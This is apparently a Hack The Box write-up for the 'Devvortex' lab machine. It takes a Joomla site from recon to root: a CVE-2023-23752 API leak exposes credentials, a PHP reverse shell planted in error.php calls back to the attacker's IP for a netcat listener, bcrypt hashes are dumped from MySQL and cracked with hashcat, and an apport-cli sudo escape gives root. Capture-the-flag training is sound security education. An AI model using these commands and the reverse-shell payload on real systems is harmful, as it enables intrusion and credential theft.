

Devvortex (HTB)

ip of the machine :- 10.129.229.146

```
~/current Fri Oct 11 2024 22:01 (4.112s)
ping 10.129.229.146 -c 5
PING 10.129.229.146 (10.129.229.146) 56(84) bytes of data.
64 bytes from 10.129.229.146: icmp_seq=1 ttl=63 time=82.0 ms
64 bytes from 10.129.229.146: icmp_seq=2 ttl=63 time=82.3 ms
64 bytes from 10.129.229.146: icmp_seq=3 ttl=63 time=88.1 ms
64 bytes from 10.129.229.146: icmp_seq=4 ttl=63 time=78.9 ms
64 bytes from 10.129.229.146: icmp_seq=5 ttl=63 time=84.0 ms

--- 10.129.229.146 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4004ms
rtt min/avg/max/mdev = 78.897/83.064/88.063/2.997 ms
```

machine is on!!!

```
~/current Fri Oct 11 2024 22:01 (7.426s)
nmap -p- --min-rate=10000 10.129.229.146
Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-11 22:01 IST
Nmap scan report for devvortex.htb (10.129.229.146)
Host is up (0.079s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http

Nmap done: 1 IP address (1 host up) scanned in 7.39 seconds
```

As usual two ports...



devvortex.htb



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added ip with domain in /etc/hosts file and started exploring the website manually and didn't find anything on manual enumeration.

```
css [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 79ms]
images [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 79ms]
js [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 81ms]
:: Progress: [20469/20469] :: Job [1/1] :: 497 req/sec :: Duration: [0:00:42] :: Errors: 0 ::
```

Just the usual directories....

Let's do subdomain enumeration...

```
~/current Fri Oct 11 2024 22:05 (39.853s) 
gobuster vhost -u http://devvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --app
end-domain -t 50

=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:             http://devvortex.htb
[+] Method:          GET
[+] Threads:         50
[+] Wordlist:         /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
=====
Starting gobuster in VHOST enumeration mode
=====
Found: dev.devvortex.htb Status: 200 [Size: 23221]
Progress: 19966 / 19967 (99.99%)
=====
Finished
=====
```

Used gobuster and found one subdomain. Let's visit it!!!



dev.devvortex.htb



✉ info@Devvortex.htb 📞 +1 5589 55488 55



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So it opened another website and again manual enumeration was useless over here and let's do directory fuzzing then.

```

.bash_history      [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 81ms]
.mysql_history     [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 81ms]
.git/HEAD          [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 81ms]
.hta               [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 81ms]
.listing           [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 81ms]
.bashrc            [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 81ms]
.config            [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 82ms]
.history           [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 82ms]
.subversion        [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 83ms]
.cvs               [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 83ms]
.perf              [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 83ms]
.cache             [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 83ms]
.svn               [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 83ms]
.htaccess          [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 83ms]
.svn/entries       [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 83ms]
.profile           [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 83ms]
.cvsignore         [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 83ms]
.forward           [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 83ms]
.rhosts            [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 85ms]
.sh_history        [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 85ms]
.ssh               [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 85ms]
.web               [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 85ms]
.swf               [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 84ms]
.passwd            [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 87ms]
.htpasswd          [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 86ms]
.listings          [Status: 403, Size: 162, Words: 4, Lines: 8, Duration: 86ms]
                  [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 222ms]
administrator      [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 79ms]
api                [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 165ms]
cache              [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 179ms]
components         [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 79ms]
home               [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 2465ms]
images             [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 82ms]
includes           [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 79ms]
index.php          [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 421ms]
language           [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 79ms]
layouts            [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 79ms]
libraries          [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 143ms]
media              [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 163ms]
modules            [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 248ms]
plugins            [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 83ms]
robots.txt         [Status: 200, Size: 764, Words: 78, Lines: 30, Duration: 231ms]
templates          [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 258ms]
tmp                [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 78ms]
:: Progress: [4614/4614] :: Job: [1/1] :: 32 req/sec :: Duration: [0:02:17] :: Errors: 0 ::

```

```
.. Progress: [4014/4014] .. Jobb [1/1] .. 52 req/sec .. Duration: [0:02:17] .. Errors: 0 ..
```

got a lot of listings.....



dev.devvortex.htb/administrator/



Development

Development Joomla Administrator Login



Username

Password

Please fill in this field



Log in

[Forgot your login details?](#)

Found joomla running in /administrator.... let's try finding default creds...

Joomla! v4.2.8 - Unauthenticated information disclosure

EDB-ID:

51334

CVE:

2023-23752

Author:

ALEXANDRE ZANNI

Type:

WEBAPPS

EDB Verified: ✓

Exploit:  / 

Platform:

PHP

Date:

2023-04-08

Vulnerable App:



```
#!/usr/bin/env ruby
```

```
# Exploit
```

Default creds. didn't work but found this vulnerability, let's test the system for it...

```
~/current Fri Oct 11 2024 22:14 (0.466s)
curl -v http://dev.devvortex.htb/api/index.php/v1/users?public=true
* Host dev.devvortex.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.229.146
* Trying 10.129.229.146:80...
* Connected to dev.devvortex.htb (10.129.229.146) port 80
* using HTTP/1.x
> GET /api/index.php/v1/users?public=true HTTP/1.1
> Host: dev.devvortex.htb
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Fri, 11 Oct 2024 16:44:21 GMT
< Content-Type: application/vnd.api+json; charset=utf-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Fri, 11 Oct 2024 16:44:21 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
<
* Connection #0 to host dev.devvortex.htb left intact
{"links":{"self":"http://dev.devvortex.htb/api/index.php/v1/users?public=true"},"data":[{"type":"users","id":"649","attributes":{"id":649,"name":"lewis","username":"lewis","email":"lewis@devvortex.htb","block":0,"sendEmail":1,"registerDate":"2023-09-25 16:44:24","lastvisitDate":"2023-10-29 16:18:50","lastResetTime":null,"resetCount":0,"group_count":1,"group_names":"Super Users"}},{type":"users","id":"650","attributes":{"id":650,"name":"logan paul","username":"logan","email":"logan@devvortex.htb","block":0,"sendEmail":0,"registerDate":"2023-09-26 19:15:42","lastvisitDate":null,"lastResetTime":null,"resetCount":0,"group_count":1,"group_names":"Registered"}}],"meta":{"total-pages":1}}
```

Used curl and got a lot of text in bottom...

```
dev.devvortex.htb left intact
\dev.devvortex.htb\api\index.php\v1\users?public=true"}, "data": [{"t
:649, "name": "lewis", "username": "lewis", "email": "lewis@devvortex.htb", "bl
09-25 16:44:24", "lastvisitDate": "2023-10-29 16:18:50", "lastResetTime": nu
ames": "Super Users"}}, {"type": "users", "id": "650", "attributes": {"id": 650,
ail": "logan@devvortex.htb", "block": 0, "sendEmail": 0, "registerDate": "2023-
ResetTime": null, "resetCount": 0, "group_count": 1, "group_names": "Registered

:14 (0.022s)
```

So, here got a possible username "lewis" and email of lewis.

```
~/current Fri Oct 11 2024 22:23 (0.237s)
curl -vv http://dev.devvortex.htb/api/index.php/v1/config/application?public=true
22:23:03.979920 [0-0] * Host dev.devvortex.htb:80 was resolved.
22:23:03.979985 [0-0] * IPv6: (none)
22:23:03.980008 [0-0] * IPv4: 10.129.229.146
22:23:03.980038 [0-0] * [SETUP] added
22:23:03.980070 [0-0] *   Trying 10.129.229.146:80...
22:23:04.062686 [0-0] * Connected to dev.devvortex.htb (10.129.229.146) port 80
22:23:04.062740 [0-0] * using HTTP/1.x
22:23:04.062795 [0-0] > GET /api/index.php/v1/config/application?public=true HTTP/1.1
22:23:04.062795 [0-0] > Host: dev.devvortex.htb
```

so used above curl command and then found "lewis" password.

```
[0-0] * Connection #0 to host dev.devvortex.htb left intact
{"type":"application","id":"224","attributes":{"access":1,"id":224}},{"type":"application","id":"224","attributes":{"debug":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":224}},{"type":"application","id":"224","attributes":{"dbtype":"mysqli","id":224}},{"type":"application","id":"224","attributes":{"user":"lewis","id":224}},{"type":"application","id":"224","attributes":{"password":"P4ntherg0t1n5r3c0n##","id":224}},{"type":"application","id":"224","attributes":{"dbprefix":"sd4fg_","id":224}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":224}},{"type":"application","id":"224","attributes":{"verifyservercert":false,"id":224}}],{"meta":{"total-pages":4}}%
```

Found the password....





Logged in as user "lewis"....


```
└─ /templates/cassiopeia
   └─ cassiopeia
      └─ html
         └─ component.php
         └─ error.php
         └─ index.php
         └─ joomla.asset.json
         └─ offline.php
         └─ templateDetails.xml

└─ /media/templates/site/cassiopeia
   └─ assets
```

So in system > site templates found some configuration files, and we can edit them and also found a possible user "logan", so will be changing error.php.

```
1 <?php
2 // php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/
  php-reverse-shell/master/php-reverse-shell.php
3 // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
4
5 set_time_limit (0);
6 $VERSION = "1.0";
7 $ip = '10.10.14.42';
8 $port = 9999;
9 $chunk_size = 1400;
10 $write_a = null;
11 $error_a = null;
12 $shell = 'uname -a; w; id; sh -i';
13 $daemon = 0;
14 $debug = 0;
15
16 if (function_exists('pcntl_fork')) {
17     $pid = pcntl_fork();
18
19     if ($pid == -1) {
20         printit("ERROR: Can't fork");
21         exit(1);
22     }
23
24     if ($pid) {
25         exit(0); // Parent exits
```

Press F10 to toggle Full Screen editing.

So in error.php added pentest monkey reverse shell..

```
~/current Fri Oct 11 2024 22:28
curl -vv http://dev.devvortex.htb/templates/cassiopeia/error.php
22:28:55.643868 [0-0] * Host dev.devvortex.htb:80 was resolved.
22:28:55.643993 [0-0] * IPv6: (none)
22:28:55.644012 [0-0] * IPv4: 10.129.229.146
22:28:55.644034 [0-0] * [SETUP] added
22:28:55.644070 [0-0] *   Trying 10.129.229.146:80...
22:28:55.725519 [0-0] * Connected to dev.devvortex.htb (10.129.229.146) port 80
22:28:55.725544 [0-0] * using HTTP/1.x
22:28:55.725591 [0-0] > GET /templates/cassiopeia/error.php HTTP/1.1
22:28:55.725591 [0-0] > Host: dev.devvortex.htb
22:28:55.725591 [0-0] > User-Agent: curl/8.10.1
22:28:55.725591 [0-0] > Accept: */*
22:28:55.725591 [0-0] >
22:28:55.725670 [0-0] * Request completely sent off
```

after saving do this to initiate reverse shell through error.php file.

```
~/current Fri Oct 11 2024 22:26
rlwrap nc -lnvp 9999
Listening on 0.0.0.0 9999
Connection received on 10.129.229.146 37742
Linux devvortex 5.4.0-167-generic #184-Ubuntu SMP Tue Oct 31 09:21:49 UTC 2023 x86_64
 16:58:55 up 28 min,  0 users,  load average: 0.06, 0.08, 0.25
USER      TTY      FROM          LOGIN@  IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$
```

Got rev. shell..

```
public $debug_lang_const = true;  
public $dbtype = 'mysqli';  
public $host = 'localhost';  
public $user = 'lewis';  
public $password = 'P4ntherg@t1n5r3c0n##';  
public $db = 'joomla';  
public $dbprefix = 'sd4fg_';  
public $dbencryption = 0;
```

so in /var/www/dev.devvortex.htb found database creds and database where other user creds. can be found. Let's try mysql now....

```
}www-data@devvortex:~/dev.devvortex.htb$ mysql -u lewis -p  
mysql -u lewis -p  
Enter password: P4ntherg@t1n5r3c0n##  
  
Welcome to the MySQL monitor.  Commands end with ; or \g.  
Your MySQL connection id is 5425  
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)  
  
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owners.  
  
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.  
  
mysql> █
```

it worked....

```
sd4fg_user_keys  
sd4fg_user_mfa  
sd4fg_user_notes  
sd4fg_user_profiles  
sd4fg_user_usergroup_map  
sd4fg_usergroups  
sd4fg_users  
sd4fg_viewlevels  
sd4fg_webauthn_credentials  
sd4fg_workflow_associations  
sd4fg_workflow_stages  
sd4fg_workflow_transitions  
sd4fg_workflows
```

```
-----+  
1 rows in set (0.00 sec)
```

```
mysql> █
```

In joomla database found some tables with name "user" in it...

```
mysql> select username,password from sd4fg_users;  
select username,password from sd4fg_users;
```

```
+-----+  
| username | password |  
+-----+  
| lewis    | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |  
| logan    | $2y$10$IT4k5kmSGvHS09d6M/1w0eYiB5Ne9XzArQRFJTGTThNiy/yBtkIj12 |  
+-----+
```

```
2 rows in set (0.00 sec)
```

```
mysql> █
```

found "logan" users creds.... Let's crack it!!!

```
[sohamt@parrot]~  
$hashcat -a 0 -m 3200 pass -0 /usr/share/wordlists/rockyou.txt  
hashcat (v6.2.6) starting  
  
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC,  
5.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]  
=====
```

So will be using hashcat to crack the password.....

```
$2y$10$IT4k5kmSGvHS09d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12:tequieromucho  
  
Session.....: hashcat  
Status.....: Cracked  
Hash.Mode.....: 3200 (bcrypt $2*$, Blowfish (Unix))  
Hash.Target.....: $2y$10$IT4k5kmSGvHS09d6M/1w0eYiB5Ne9XzArQRFJTGThNiy...tkIj12  
Time.Started.....: Fri Oct 11 22:36:02 2024 (24 secs)
```

Cracked!!! got it!!!

```
www-data@devvortex:~/dev.devvortex.htb$ su logan  
su logan  
Password: tequieromucho  
  
logan@devvortex:/var/www/dev.devvortex.htb$
```

Logged in as user "logan".

```
logan@devvortex:/var/www/dev.devvortex.htb$ cd
cd
logan@devvortex:~$ ls
ls
user.txt
logan@devvortex:~$ █
```

Got our first flag in home directory of the user.

```
logan@devvortex:~$ sudo -l
sudo -l
[sudo] password for logan: tequieromucho

Matching Defaults entries for logan on devvortex:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli
logan@devvortex:~$ █
```

So user "logan" can only run one command with root privileges..... and it is "apport-cli". Let's search how to escalate privileges using this command.

CVE-2023-1326 POC



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This vulnerability is privilege escalation in apport-cli 2.26.0, similar to CVE-2023-26604, this vulnerability only works if assign in sudoers:

```
|logan    ALL=(ALL:ALL) /usr/bin/apport-cli
```

When execute less in the execution apport-cli, we can execute bash:



So came across this blog on medium and will be following it!!!

Choices:

- 1: Display (X.org)
- 2: External or internal storage devices (e. g. USB sticks)
- 3: Security related problems
- 4: Sound/audio related problems
- 5: dist-upgrade
- 6: installation
- 7: installer
- 8: release-upgrade
- 9: ubuntu-release-upgrader
- 10: Other problem
- C: Cancel

Please choose (1/2/3/4/5/6/7/8/9/10/C): 1

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First click "1"

*** Collecting problem information

The collected information can be sent to the developers to improve the application. This might take a few minutes.

*** What display problem do you observe?

Choices:

- 1: I don't know
- 2: Freezes or hangs during boot or usage
- 3: Crashes or restarts back to login screen
- 4: Resolution is incorrect
- 5: Shows screen corruption
- 6: Performance is worse than expected
- 7: Fonts are the wrong size
- 8: Other display-related problem
- C: Cancel

Please choose (1/2/3/4/5/6/7/8/C): 2

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To debug X freezes, please see <https://wiki.ubuntu.com/X/Troubleshooting/Freeze>

Press any key to continue...

..dpkg-query: no packages found matching xorg
.....

then "2" and wait...

```
What would you like to do? Your options are:
S: Send report (1.4 KB)
V: View report
K: Keep report file for sending later or copying to somewhere else
I: Cancel and ignore future crashes of this program version
C: Cancel
Please choose (S/V/K/I/C): V
V^J
WARNING: terminal is not fully functional
- (press RETURN)
== AppportVersion ==
2.20.11-0ubuntu27

== Architecture ==
amd64

== CasperMD5CheckResult ==
skip

== Date ==
Fri Oct 11 17:10:25 2024

== DistroRelease ==
Ubuntu 20.04

== Package ==
xorg (not installed)

== ProblemType ==
Bug

== ProcCpuinfoMinimal ==
processor      : 1
:!/bin/bash
!//bbiinn//bbaasshh!/bin/bash
root@devvortex:/home/logan#
```

then "V" and when colon ":" comes type "!/bin/bash" to successfully escalate privileges...

```
root@devvortex:/home/logan# id
id
uid=0(root) gid=0(root) groups=0(root)
root@devvortex:/home/logan# cd /root
cd /root
root@devvortex:~# sl
sl

Command 'sl' not found, but can be installed with:

apt install sl

root@devvortex:~# ls
ls
root.txt
root@devvortex:~# █
```

Got last flag in /root directory.....